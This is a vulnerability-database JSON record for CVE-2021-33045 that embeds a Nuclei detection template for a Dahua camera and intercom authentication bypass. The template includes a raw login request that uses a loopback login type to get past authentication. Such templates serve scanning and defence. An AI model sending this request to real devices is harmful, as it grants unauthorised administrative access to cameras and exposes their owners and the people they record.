{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-33045/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-33045/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-33045/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-33045/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-33045/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-33045"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-33045"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-33045.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2021-33045\n\ninfo:\n  name: Dahua IPC/VTH/VTO - Authentication Bypass\n  author: phantomowl\n  severity: critical\n  description: |\n    The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.\n  impact: |\n    Unauthenticated attackers can bypass device authentication by constructing malicious login packets, gaining full administrative access to Dahua IPC/VTH/VTO devices.\n  remediation: |\n    Apply firmware updates provided by Dahua to address the authentication bypass vulnerability.\n  reference:\n    - https://seclists.org/fulldisclosure/2021/Oct/13\n    - https://www.dahuasecurity.com/aboutUs/trustedCenter/details/582\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-33045\n    cwe-id: CWE-287\n    epss-score: 0.99556\n    epss-percentile: 0.99945\n    cpe: cpe:2.3:o:dahuasecurity:ipc-hum7xxx_firmware:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: dahuasecurity\n    product: ipc-hum7xxx_firmware\n  tags: cve,cve2021,dahua,auth-bypass,seclists,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /RPC2_Login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n          \"method\": \"global.login\",\n          \"params\": {\n            \"userName\": \"admin\",\n            \"ipAddr\": \"127.0.0.1\",\n            \"loginType\": \"Loopback\",\n            \"clientType\": \"Local\",\n            \"authorityType\": \"Default\",\n            \"passwordType\": \"Plain\",\n            \"password\": \"admin\"\n          },\n          \"id\": 1,\n          \"session\": 0\n        }\n\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"session\":'\n          - '\"result\":true'\n          - '\"keepAliveInterval\":'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100c41c8500de72b08e7f511aea6a378b546a6655569c2d36bcbd52fe6b0fd85a0002210095dea023494301d97f3c66af47faef462bb9ddea0affd1200ad1b7151a666940:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-33045"
}